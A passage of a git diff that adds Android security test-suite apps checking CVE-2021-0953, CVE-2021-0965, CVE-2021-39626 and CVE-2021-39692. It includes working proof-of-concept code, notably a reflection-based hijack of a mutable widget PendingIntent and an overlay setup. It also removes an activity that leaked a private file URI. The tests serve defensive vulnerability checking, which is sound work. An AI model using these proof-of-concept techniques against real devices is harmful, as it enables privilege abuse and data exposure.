intent.setClassName(TEST_PACKAGE, clazz.getName()); + intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + intent.putExtra(context.getResources().getString(R.string.callback_key), cb); + context.startActivity(intent); + } + + private class PocStatus { + private int statusCode; + private String errorMessage; + + public void setStatusCode(int status) { + statusCode = status; + } + + public void setErrorMessage(String message) { + errorMessage = message; + } + + public int getStatusCode() { + return statusCode; + } + + public String getErrorMessage() { + return errorMessage; + } + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java new file mode 100644 index 00000000000..c28bd75d1b9 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java @@ -0,0 +1,260 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_0953; + +import android.app.Activity; +import android.app.PendingIntent; +import android.appwidget.AppWidgetHost; +import android.appwidget.AppWidgetManager; +import android.content.ComponentName; +import android.content.ActivityNotFoundException; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.content.pm.ResolveInfo; +import android.os.Bundle; +import android.os.IBinder; +import android.os.Parcel; +import android.os.RemoteCallback; +import android.os.RemoteException; +import android.widget.RemoteViews; + +import androidx.test.uiautomator.By; +import androidx.test.uiautomator.BySelector; +import androidx.test.uiautomator.UiDevice; +import androidx.test.uiautomator.UiObject2; +import androidx.test.uiautomator.Until; +import androidx.test.InstrumentationRegistry; + +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.List; + +public class PocActivity extends Activity { + public static int APPWIDGET_ID; + public static int REQUEST_BIND_APPWIDGET = 0; + public static final int TIMEOUT_MS = 10000; + + Class mClRemoteViews; + Field mActions, mResponse, mFldPendingIntent; + Method mGetDeclaredField; + Object mObjSetOnClickResponse; + PendingIntent mPendingIntent; + + @Override + public void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.activity_main); + UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation()); + AppWidgetHost appWidgetHost; + AppWidgetManager appWidgetManager; + PocActivity pocActivity = PocActivity.this; + appWidgetManager = AppWidgetManager.getInstance(this); + appWidgetHost = new AppWidgetHost(PocActivity.this.getApplicationContext(), 0); + APPWIDGET_ID = appWidgetHost.allocateAppWidgetId(); + Intent intent = new Intent("android.appwidget.action.APPWIDGET_BIND"); + intent.putExtra("appWidgetId", APPWIDGET_ID); + intent.putExtra("appWidgetProvider", new ComponentName("com.android.quicksearchbox", + "com.android.quicksearchbox.SearchWidgetProvider")); + try { + PocActivity.this.startActivityForResult(intent, REQUEST_BIND_APPWIDGET); + } catch (ActivityNotFoundException e) { + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "Could not start activity"); + return; + } + String settingsPkgName = ""; + PackageManager pm = getPackageManager(); + List<ResolveInfo> ris = pm.queryIntentActivities(intent, PackageManager.MATCH_DEFAULT_ONLY); + for (ResolveInfo ri : ris) { + if (ri.activityInfo.name.contains("AllowBindAppWidgetActivity")) { + settingsPkgName = ri.activityInfo.packageName; + } + } + if (settingsPkgName.equals("")) { + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "Settings package not found/AllowBindAppWidgetActivity not found"); + return; + } + if (!device.wait(Until.hasObject(By.pkg(settingsPkgName)), TIMEOUT_MS)) { + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "Unable to start AllowBindAppWidgetActivity"); + return; + } + boolean buttonClicked = false; + BySelector selector = By.clickable(true); + List<UiObject2> objects = device.findObjects(selector); + for (UiObject2 object : objects) { + String objectText = object.getText(); + String objectClass = object.getClassName(); + if (objectText == null) { + continue; + } + if (objectText.equalsIgnoreCase("CREATE")) { + object.click(); + buttonClicked = true; + break; + } + } + if (!device.wait(Until.gone(By.pkg(settingsPkgName)), TIMEOUT_MS) || !buttonClicked) { + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "'Create' button not found/clicked"); + return; + } + } + + @Override + public void onActivityResult(int requestCode, int resultCode, Intent data) { + super.onActivityResult(requestCode, resultCode, data); + PocActivity pocActivity = PocActivity.this; + if (requestCode == REQUEST_BIND_APPWIDGET) { + if (resultCode == -1) { + APPWIDGET_ID = data.getIntExtra("appWidgetId", APPWIDGET_ID); + } + } + RemoteViews remoteViews = + pocActivity.callBinder(pocActivity.getPackageName(), APPWIDGET_ID); + if (remoteViews == null) { + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "remoteViews is null as callBinder() failed"); + return; + } + try { + mClRemoteViews = Class.forName("android.widget.RemoteViews"); + } catch (ClassNotFoundException e) { + e.printStackTrace(); + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "Class android.widget.RemoteViews not found"); + return; + } + Class[] rvSubClasses = mClRemoteViews.getDeclaredClasses(); + Class clSetOnClickResponse = null; + Class clRemoteResponse = null; + for (Class c : rvSubClasses) { + if (c.getCanonicalName().equals("android.widget.RemoteViews.SetOnClickResponse")) { + clSetOnClickResponse = c; + } + if (c.getCanonicalName().equals("android.widget.RemoteViews.RemoteResponse")) { + clRemoteResponse = c; + } + } + try { + mActions = mClRemoteViews.getDeclaredField("mActions"); + } catch (NoSuchFieldException e) { + e.printStackTrace(); + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "mActions field not found"); + return; + } + mActions.setAccessible(true); + try { + mObjSetOnClickResponse = ((ArrayList) mActions.get(remoteViews)).get(1); + mGetDeclaredField = Class.class.getDeclaredMethod("getDeclaredField", String.class); + mResponse = (Field) mGetDeclaredField.invoke(clSetOnClickResponse, "mResponse"); + } catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException e) { + e.printStackTrace(); + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "mResponse field not found"); + return; + } + mResponse.setAccessible(true); + try { + mFldPendingIntent = + (Field) mGetDeclaredField.invoke(clRemoteResponse, "mPendingIntent"); + } catch (IllegalAccessException | InvocationTargetException e) { + e.printStackTrace(); + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "mPendingIntent field not found"); + return; + } + mFldPendingIntent.setAccessible(true); + try { + mPendingIntent = (PendingIntent) mFldPendingIntent + .get((RemoteViews.RemoteResponse) mResponse.get(mObjSetOnClickResponse)); + } catch (IllegalAccessException e) { + e.printStackTrace(); + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "Unable to get PendingIntent"); + return; + } + Intent spuriousIntent = new Intent(PocActivity.this, PocVulnerableActivity.class); + spuriousIntent.setPackage(getApplicationContext().getPackageName()); + spuriousIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + try { + mPendingIntent.send(getApplicationContext(), 0, spuriousIntent, null, null); + } catch (PendingIntent.CanceledException e) { + // this is expected when vulnerability is not present and hence return + sendTestResult(getResources().getInteger(R.integer.pass), "Pass"); + return; + } + sendTestResult(getResources().getInteger(R.integer.fail), + "Device is vulnerable to b/184046278!!" + + " Mutable PendingIntent in QuickSearchBox widget"); + } + + private IBinder getService(String service) { + try { + Class clServiceManager = Class.forName("android.os.ServiceManager"); + Method mtGetService = clServiceManager.getMethod("getService", String.class); + return (IBinder) mtGetService.invoke(null, service); + } catch (ClassNotFoundException | NoSuchMethodException | IllegalAccessException + | InvocationTargetException e) { + e.printStackTrace(); + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "Failed to invoke android.os.ServiceManager service"); + return null; + } + } + + private RemoteViews callBinder(String callingPackage, int appWidgetId) { + String INTERFACE_DESCRIPTOR = "com.android.internal.appwidget.IAppWidgetService"; + int GET_APP_WIDGET_VIEWS = 7; + Parcel data = Parcel.obtain(); + Parcel reply = Parcel.obtain(); + RemoteViews remoteViews = null; + IBinder service = getService("appwidget"); + if (service != null) { + data.writeInterfaceToken(INTERFACE_DESCRIPTOR); + data.writeString(callingPackage); + data.writeInt(appWidgetId); + try { + service.transact(GET_APP_WIDGET_VIEWS, data, reply, 0); + } catch (RemoteException e) { + e.printStackTrace(); + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "service.transact() failed due to RemoteException"); + return null; + } + reply.readException(); + if (reply.readInt() != 0) { + remoteViews = (RemoteViews) RemoteViews.CREATOR.createFromParcel(reply); + } + } + return remoteViews; + } + + private void sendTestResult(int statusCode, String errorMessage) { + RemoteCallback cb = + (RemoteCallback) getIntent().getExtras().get(getString(R.string.callback_key)); + Bundle res = new Bundle(); + res.putString(getString(R.string.message_key), errorMessage); + res.putInt(getString(R.string.status_key), statusCode); + finish(); + cb.sendResult(res); // update callback in test + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/EvilActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocVulnerableActivity.java index 92f0ec36d40..b99ba9dc3e9 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/EvilActivity.java +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocVulnerableActivity.java @@ -13,26 +13,15 @@ * See the License for the specific language governing permissions and * limitations under the License. */ -package android.security.cts.CVE_2021_0481; + +package android.security.cts.CVE_2021_0953; import android.app.Activity; -import android.content.Intent; -import android.net.Uri; import android.os.Bundle; -import android.util.Log; - -import androidx.annotation.Nullable; -import androidx.appcompat.app.AppCompatActivity; - -public class EvilActivity extends Activity { - final static String PRIVATE_URI = "file:///data/user_de/0/com.android.settings/shared_prefs/cve_2021_0481.txt"; - private static final String TAG = "TAG_2021_0481"; - @Override - protected void onCreate(@Nullable Bundle savedInstanceState) { +public class PocVulnerableActivity extends Activity { + public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); - Log.d(TAG, "EvilActivity started!"); - setResult(-1, new Intent().setData(Uri.parse(PRIVATE_URI))); - finish(); + setContentView(R.layout.vulnerable_activity_main); } } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp index ab1f6278b4f..6f672e031e0 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp @@ -33,5 +33,5 @@ android_test_helper_app { "androidx.test.rules", "androidx.test.uiautomator_uiautomator", ], - sdk_version: "current", + platform_apis: true, } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java index e709d0a8044..46f16135532 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java @@ -18,9 +18,20 @@ package android.security.cts.CVE_2021_0965; import static androidx.test.core.app.ApplicationProvider.getApplicationContext; import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; +import static org.junit.Assert.fail; +import static org.junit.Assume.assumeNoException; + +import android.app.UiAutomation; import android.content.Intent; +import android.content.pm.PackageManager; +import android.content.pm.ResolveInfo; +import android.os.UserHandle; +import android.provider.Settings; + +import androidx.test.InstrumentationRegistry; import androidx.test.runner.AndroidJUnit4; import androidx.test.uiautomator.UiDevice; + import org.junit.Before; import org.junit.Test; import org.junit.runner.RunWith; @@ -34,23 +45,64 @@ public class DeviceTest { try { device.wakeUp(); } catch (Exception e) { + e.printStackTrace(); + assumeNoException(e); } device.pressHome(); } + private String getSettingsPkgName() { + PackageManager mgr = getInstrumentation().getTargetContext().getPackageManager(); + UiAutomation ui = getInstrumentation().getUiAutomation(); + String name = "com.android.settings"; + try { + ui.adoptShellPermissionIdentity(android.Manifest.permission.INTERACT_ACROSS_USERS); + ResolveInfo info = mgr.resolveActivityAsUser(new Intent(Settings.ACTION_SETTINGS), + PackageManager.MATCH_SYSTEM_ONLY, UserHandle.USER_SYSTEM); + if (info != null && info.activityInfo != null) { + name = info.activityInfo.packageName; + } + } catch (Exception e) { + e.printStackTrace(); + assumeNoException(e); + } finally { + ui.dropShellPermissionIdentity(); + } + return name; + } + + private boolean hasFeature(String feature) { + return InstrumentationRegistry.getContext().getPackageManager().hasSystemFeature(feature); + } + + private boolean isTV() { + return hasFeature(PackageManager.FEATURE_LEANBACK); + } + @Test public void testPermission() { + String pkg = getSettingsPkgName(); + String cls = ""; + if (isTV()) { + cls = ".accessories.BluetoothPairingDialog"; + } else { + cls = ".bluetooth.BluetoothPairingDialog"; + } + try { Intent intent = new Intent(Intent.ACTION_MAIN); - intent.setClassName("com.android.settings", - "com.android.settings.bluetooth.BluetoothPairingDialog"); + intent.setClassName(pkg, pkg + cls); intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); getApplicationContext().startActivity(intent); - } catch (SecurityException e) { - return; + } catch (Exception ex) { + ex.printStackTrace(); + if (ex instanceof SecurityException) { + return; + } + assumeNoException(ex); } /* If SecurityException is not thrown, it indicates absence of fix */ - throw new RuntimeException("Vulnerable to b/194300867 !!"); + fail("Vulnerable to b/194300867 !!"); } } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp new file mode 100644 index 00000000000..d3e2302d280 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp @@ -0,0 +1,39 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +android_test_helper_app { + name: "CVE-2021-39626", + defaults: [ + "cts_defaults", + ], + srcs: [ + "src/**/*.java", + ], + test_suites: [ + "sts", + ], + sdk_version: "current", + static_libs: [ + "androidx.test.core", + "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", + ], +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml new file mode 100644 index 00000000000..f0978251006 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml @@ -0,0 +1,42 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + package="android.security.cts.CVE_2021_39626" + android:versionCode="1" + android:versionName="1.0"> + <uses-permission android:name="android.permission.BLUETOOTH"/> + <uses-permission android:name="android.permission.BLUETOOTH_CONNECT"/> + <uses-permission android:name="android.permission.BLUETOOTH_SCAN"/> + <application + android:testOnly="true" + android:label="CVE-2021-39626" + android:supportsRtl="true"> + <activity + android:name=".PocActivity" + android:exported="true"> + <intent-filter> + <action android:name="android.intent.action.MAIN" /> + <category android:name="android.intent.category.LAUNCHER" /> + </intent-filter> + </activity> + </application> + + <instrumentation + android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.CVE_2021_39626" /> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java new file mode 100644 index 00000000000..cd245400fc9 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java @@ -0,0 +1,102 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39626; + +import static org.junit.Assert.assertFalse; +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeNotNull; +import static org.junit.Assume.assumeTrue; + +import android.bluetooth.BluetoothAdapter; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.provider.Settings; + +import androidx.test.InstrumentationRegistry; +import androidx.test.runner.AndroidJUnit4; +import androidx.test.uiautomator.By; +import androidx.test.uiautomator.UiDevice; +import androidx.test.uiautomator.Until; + +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + private static final int TIMEOUT = 5000; + private static Context context; + + private static String getSettingsPkgName() { + Intent settingsIntent = new Intent(Settings.ACTION_SETTINGS); + ComponentName settingsComponent = + settingsIntent.resolveActivity(context.getPackageManager()); + String pkgName = settingsComponent != null ? settingsComponent.getPackageName() + : "com.android.settings"; + assumeNotNull(pkgName); + return pkgName; + } + + private void openApplication(String applicationName) { + Intent intent = context.getPackageManager().getLaunchIntentForPackage(applicationName); + assumeNotNull(intent); + intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK); + try { + context.startActivity(intent); + } catch (Exception e) { + assumeNoException(e); + } + } + + @Test + public void testBtDiscoverable() { + // Initialize UiDevice instance + UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation()); + context = InstrumentationRegistry.getInstrumentation().getContext(); + BluetoothAdapter btAdapter = BluetoothAdapter.getDefaultAdapter(); + assumeNotNull(btAdapter); + + // Save the state of bluetooth adapter to reset after the test + boolean btState = btAdapter.isEnabled(); + if (!btState) { + // If bluetooth is disabled, enable it and wait for adapter startup to complete + assumeTrue(btAdapter.enable()); + try { + Thread.sleep(TIMEOUT); + } catch (Exception e) { + assumeNoException(e); + } + } + assumeTrue(btAdapter.isEnabled()); + + // Launch the PoC application and ensure that it launches bluetooth settings + openApplication(context.getPackageName()); + assumeTrue(device.wait(Until.hasObject(By.pkg(getSettingsPkgName())), TIMEOUT)); + + boolean isBtDiscoverable = + (btAdapter.getScanMode() == btAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE); + + // Disable bluetooth if it was OFF before the test + if (!btState) { + btAdapter.disable(); + } + + // The test fails if bluetooth is made discoverable through PoC + assertFalse("Vulnerable to b/194695497 !!", isBtDiscoverable); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java new file mode 100644 index 00000000000..d4425ff0eb3 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java @@ -0,0 +1,39 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39626; + +import static org.junit.Assume.assumeNoException; + +import android.app.Activity; +import android.content.Intent; +import android.os.Bundle; +import android.provider.Settings; + +public class PocActivity extends Activity { + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + Intent intent = new Intent(); + intent.setAction(Settings.ACTION_BLUETOOTH_SETTINGS); + try { + startActivity(intent); + } catch (Exception e) { + assumeNoException(e); + } + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/Android.bp new file mode 100644 index 00000000000..602c426190f --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/Android.bp @@ -0,0 +1,35 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +android_test_helper_app { + name: "CVE-2021-39692", + defaults: ["cts_support_defaults"], + srcs: ["src/**/*.java"], + test_suites: [ + "sts", + ], + static_libs: [ + "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", + "androidx.test.core", + ], + sdk_version: "current", +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/AndroidManifest.xml new file mode 100644 index 00000000000..459d99233f2 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/AndroidManifest.xml @@ -0,0 +1,58 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright (C) 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +--> +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + package="android.security.cts.CVE_2021_39692"> + + <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" /> + + <application + android:testOnly="false" + android:allowBackup="true" + android:label="CVE-2021-39692"> + <uses-library android:name="android.test.runner" /> + <activity android:name=".PocActivity" + android:enabled="true" + android:exported="true"> + <intent-filter> + <action android:name="android.intent.action.MAIN" /> + <category android:name="android.intent.category.LAUNCHER" /> + </intent-filter> + </activity> + + <service android:name=".PocService" + android:enabled="true" + android:exported="false" /> + + <receiver android:name=".PocDeviceAdminReceiver" + android:permission="android.permission.BIND_DEVICE_ADMIN" + android:exported="true"> + <meta-data + android:name="android.app.device_admin" + android:resource="@xml/device_admin_receiver"/> + <intent-filter> + <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" /> + <action android:name="android.intent.action.BOOT_COMPLETED" /> + <action android:name="android.app.action.PROFILE_OWNER_CHANGED" /> + <action android:name="android.app.action.DEVICE_OWNER_CHANGED" /> + </intent-filter> + </receiver> + </application> + + <instrumentation + android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.CVE_2021_39692" /> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/strings.xml new file mode 100644 index 00000000000..cf041ca29d4 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/strings.xml @@ -0,0 +1,31 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright (C) 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +--> +<resources> + <string name="activityNotStartedException">Unable to start the %1$s</string> + <string name="activityNotFoundMsg">The activity with intent %1$s was not found</string> + <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string> + <string name="dumpsysActivityCmd">dumpsys activity %1$s</string> + <string name="dumpsysActivityException">Could not execute dumpsys activity command</string> + <string name="overlayErrorMessage">Device is vulnerable to b/209611539 hence any app with + "SYSTEM_ALERT_WINDOW can overlay the %1$s screen</string> + <string name="mResumedTrue">mResumed=true</string> + <string name="overlayButtonText">OverlayButton</string> + <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string> + <string name="testPkg">android.security.cts.CVE_2021_39692</string> + <string name="vulActivityNotRunningError">The %1$s is not currently running on the device + </string> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/xml/device_admin_receiver.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/xml/device_admin_receiver.xml new file mode 100644 index 00000000000..af74d3bebb6 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/xml/device_admin_receiver.xml @@ -0,0 +1,30 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright (C) 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +--> +<device-admin> + <support-transfer-ownership/> + <uses-policies> + <limit-password/> + <watch-login/> + <reset-password/> + <force-lock/> + <wipe-data/> + <expire-password/> + <encrypted-storage/> + <disable-camera/> + <disable-keyguard-features/> + </uses-policies> +</device-admin> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/DeviceTest.java new file mode 100644 index 00000000000..e2f6196e4d5 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/DeviceTest.java @@ -0,0 +1,127 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39692; + +import static android.app.admin.DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE; +import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME; +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeTrue; + +import android.content.ActivityNotFoundException; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.content.pm.ResolveInfo; +import android.provider.Settings; + +import androidx.test.runner.AndroidJUnit4; +import androidx.test.uiautomator.By; +import androidx.test.uiautomator.UiDevice; +import androidx.test.uiautomator.Until; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import java.io.IOException; +import java.util.regex.Pattern; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + + private void startOverlayService() { + Context context = getApplicationContext(); + assertNotNull(context); + Intent intent = new Intent(context, PocService.class); + + assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg), + Settings.canDrawOverlays(getApplicationContext())); + try { + context.startService(intent); + } catch (Exception e) { + assumeNoException( + context.getString(R.string.activityNotStartedException, "overlay service"), e); + } + } + + private void startVulnerableActivity() { + Context context = getApplicationContext(); + Intent intent = new Intent(context, PocActivity.class); + intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + try { + context.startActivity(intent); + } catch (ActivityNotFoundException e) { + assumeNoException( + context.getString(R.string.activityNotStartedException, "PocActivity"), e); + } + } + + @Test + public void testOverlayButtonPresence() { + UiDevice mDevice = UiDevice.getInstance(getInstrumentation()); + + /* Start the overlay service */ + startOverlayService(); + + /* Wait for the overlay window */ + Context context = getApplicationContext(); + Pattern overlayTextPattern = 